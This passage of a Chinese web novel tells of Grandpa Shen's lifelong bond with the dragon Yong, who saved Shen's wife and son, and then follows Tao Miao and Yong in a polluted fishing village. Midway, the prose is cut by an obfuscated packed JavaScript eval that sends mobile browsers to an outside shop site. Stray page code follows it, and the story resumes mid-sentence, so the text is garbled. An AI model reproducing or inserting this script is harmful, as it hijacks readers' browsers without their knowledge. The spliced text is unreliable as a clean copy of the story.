金龙赶不走也只好听着,这种状况一直维持到沈爷爷成亲,娶得是小容。
成亲前夕,沈爷爷来找金龙告诉了他这个喜事,沈爷爷有些遗憾,说他的人生第一喜事,金龙却不能到场。
成亲当日,沈爷爷收到了一个金如意,上面镶满了宝石,有小臂那么长,沈爷爷给小容说,应该是他的朋友送来了,可惜他却到不了场。
结婚之后,沈爷爷就成了世俗里的大人了,礁石那去得少了,但他每次去金龙都在。
再后来,小容怀孕了,沈爷爷告诉了金龙他人生的第二件喜事,金龙说恭喜他,等到孩子出生,一定送份大礼。
可沈爷爷很少再去礁石了,因为小容这一胎怀的太辛苦了,沈爷爷去见金龙时,苦着脸说小容脸色很不好,蜡黄蜡黄的,什么都吃不下去。
金龙沉默许久,说凡人他不知道有什么办法。
沈爷爷笑笑,宽慰金龙,说他知道,就是想和金龙说说,他习惯了什么事都告诉金龙。
小容难产时,沈爷爷边哭边往礁石划,太阳都落山了金龙却还在那。
金龙好像猜到了,问是不是小容出事了。
沈爷爷问金龙能不能救救小容,金龙沉默了一瞬就答应了,告诉沈爷爷会没事的,让他先回去照顾小容。
说来也怪,沈爷爷回去后,他儿子就生出来了,小容也平安无事。
第二天一早,沈爷爷早早就划船出海,可金龙却不在那。一连十天,沈爷爷天天去,可都没见到金龙,沈爷爷一次比一次失落,以为金龙去了其他地方再也见不到了。
第十一天,沈爷爷继续划去礁石,总算见到了金龙,沈爷爷喜极而泣,问金龙这些天都去哪了,金龙说他回老家看了看,费了些脚程。
可能金龙老家确是有些远,沈爷爷给金龙说话都感觉他提不起来精神。
沈爷爷跪下给金龙磕了三个头,金龙说他这是做什么,快起来。可沈爷爷坚持,说这是人命关天的事情,他替小容和儿子跪的。
临走前,金龙给了沈爷爷一块玉佩,上面用镂空工艺雕着一个飞龙,金龙说这是给他儿子的见面礼,可以当个护身符带着,沈爷爷很高兴,他这辈子去过最远的地方就是小县城,不知道这玉佩有多贵重,只知道金龙不仅救了他儿子的命还送了见面礼给小崽子。
金龙让沈爷爷不用再来礁石了,他老家出了点事情,他得回去一段时间,再来礁石不知道是何年何月了。
沈爷爷一时间无法接受这个信息,但也只能尊重金龙的决定,他问金龙什么时候能再见面,金龙说短则十年,长则可能再也见不到了。
沈爷爷低下了头,第二次在金龙面前流泪,但他知道金龙也难受。回去前,沈爷爷问金龙有没有名字,金龙说他叫颙。
回家后沈爷爷就给金龙立了个香火供奉着,香火前什么都没有,只有一个字“颙”。过了二十年,沈爷爷收到了一个包裹,里面有一张照片,一个非常英俊高大的男子,穿着白色的中山长袍,照片背面写着一个“颙”,笔锋凌厉。
里面还有一封信:
“家军、小容你们近来可好?不知你儿长多高了,可惜不能面见。我知你供奉了香火,我很感谢,但不必跪我,你我乃至交,无须此礼。
望好,勿回。”
沈爷爷拿着照片哭了很久,后来那个香火前就又加了张照片,依旧供奉着,凡沈家子孙都要跪拜。
陶淼看着小小香炉前的照片和大字,原来是这个颙。
-
沈爷爷和颙说了多久的话,陶淼没算过。
最后他们要走的时候,沈爷爷蹒跚着非要送出门。
走到大门口的时候,沈家君拉着颙的手一直没能松开,问出了憋在自己心里几十年的问题,救小容那次你是不是遭了天谴?
颙没回答。
沈爷爷问出这个问题时早已泪流满面,语不成调地说着:“我就知道,自从你走之后,我想了好几年,终于回过味了,你消失的那十天是根本就来不了礁石吧。你总说不让我跪你,可我如何不跪,你耗尽多少修为才换回小容和建业的命,是我欠你的,这些年你一个人躲到哪里去了,一定很孤单吧。”
沈爷爷哭的不能自己,全靠颙搀着才站得稳。
颙扶稳了沈家君,轻声说道:“我寿命能与天算,几十年于我来说不过一瞬,你又何苦放在心上。我过得挺好的,恢复的差不多时去人间走了一遭,不是我不来找你,那时恰好你丈母娘病重,才错过了相见的时机。”
沈家君流泪点头,“我收到你照片和信时,以为你不愿再见我,可我又没脸怪你。虽然你说不用回信,可我还是试着寄了一封,如今知道你不怨我,还能见到你最后一面,我死也能瞑目了。”
要回去了,颙嘱托沈泽林好好照顾爷爷,沈泽林含泪答应。
又是月亮高高挂起的一段小路,陶淼跟在颙的身后,月光照在他白色中山袍上,宽大的肩上像是落了一层朦胧的光,特意穿着照片上的那件中山袍,也是希望老友能认出自己吧。
陶淼觉得活的太久也是痛苦的一件事,生命是那样的漫长,一个人如何抵御岁月长河中的那些苦痛和离别。她不知道颙是如何抵挡的。
所以他来到人间是因为一个人太孤独了吗?所以又一个人住在没有人烟的山头吗?
回了小院,院子里亮着灯,玄鸟和雪饼终于等到了自己主人回来。
“你们怎么能出去一天都不管我们?这狗都快饿死了,要不是我去林子里摘了些果子,你们回来看到的就是两具尸体。”
雪饼也巴拉着陶淼嗷呜个不停,陶淼只能先安慰一下两小只。
颙直接回了卧室,陶淼跟了过去,站在门口,看着坐在床边的男人手上拿着一张照片,好像是张全家福,应该是沈爷爷给的。
颙看了一会,把照片放到了柜子的抽屉里。
“不框起来吗?”
颙看向扶着门站着的陶淼,合上了抽屉,“故人将去,留着旧物徒增伤感罢了。”
可是你不还是细心保存着吗?
陶淼走到了他身边,“你也舍不得的吧?”
舍不得一直陪在身边叽叽喳喳的少年一眨眼已是迟暮之年,或许没几年便要离世。几十年前面对沈爷爷的哭求,你还是舍不得走吧,孤独久了怎么会忍心舍下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422274|141358||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
充满笑语回声的礁石,明知道自己将要离去却又毫无选择。
颙轻轻拭去少女脸上的泪珠,“我很好,你别哭。”
陶淼的眼泪就那么一股一股地从眼窝里涌出,好奇怪,她控制不住眼泪,明明是发生在他身上的事情,为什么自己会那么痛?
是因为他总是选择一个人承受一切吧,陶淼认为是人类的共情能力让她此刻无比心疼他。
陶淼抱住了眼前的男人,眼泪洇湿了白色的长袍,她认为他需要抱一下。
颙轻轻拍了拍这个凡间女孩的头,抚摸着她的长发无声安慰着。
门没关,雪饼站在门口,玄鸟一成不变地站在狗头上,两小只难得没有叽叽喳喳的时候。
玄鸟第一次在颙身上看到那种伤心的感觉。
晚饭是颙煮的,水煮面放点青菜,还好陶淼因为太伤心了没胃口。
碗筷也是颙洗的,全都收拾好,颙告诉陶淼,明天找工人来修一间厕所和洗澡间。
陶淼当然同意,还好她走时把家里备的现金都拿上了,应该可以支撑他们一段时间,看来她得在这个小渔村找些事情干,不能坐吃山空。
颙当然不知道陶淼心里的打算,只是想要怎么联系赵氏呢,钱都交给他们去管了,都百年过去了,估计又有几代人了。
于是第二天,两人各忙各的,颙早早便下山了,陶淼则晚一点,太早了,村里也不会有什么人,也看不出什么商机。
下山的路就一条,陶淼又来了昨天的那条长街,还是一样的热闹,这应该是潜龙村默认的集市,两边大多是住户,很少有店面,都是摆的地摊。
陶淼蹲在一个卖锅碗瓢盆的小贩前,跟这位大叔聊了两句。
“大叔,你这生意怎么样啊?”
大叔憨厚地笑了笑,“生意嘛,反正就...就每天能卖出去一两个吧。”
“这一两个怎么养活家里啊?大叔没想着换个活路?”
提起这个大叔有些愁眉苦脸,“哎,没办法啊,我们这村都是靠海吃饭的,可今年实在打捞不上来什么东西,不是死鱼就是些破烂,大家伙只好弄点小东西来卖,也省得街坊邻居跑远路去乡镇县城,我们也能赚一点补贴家用。唉不过还是在吃前几年攒下的老本。”
陶淼向大叔问了路,想去他们出海的地方瞧瞧,一到海边果然萦绕着一股腥臭的腐烂味,海滩上不停有被海浪拍上来的垃圾,一位黝黑的老者带着幼童跟在后面捡,怎么可能捡的完呢。
初来这几天,陶淼一直认为潜龙村的生态很好,只是经济看着有些落后,想不到这片海域污染这么严重。
这下好了,别说自己找活干了,这儿的村民都没有活计了,这可怎么办?
陶淼兴致冲冲地出门,大失所望地回家了。颙还没回来,中午饭她就继续煮速食吧。
颙去了颍州,这是颙第三次来,第一次来是一百多年前。第二次来就是前几天,只不过他今天是有目的地的。
颍州西郊
凡间如今已经是数十年就大变样了,颙第一次来的时候,西郊这一隅荒凉处只有一座赵家的宅院,是颙与他们取得联系的地方。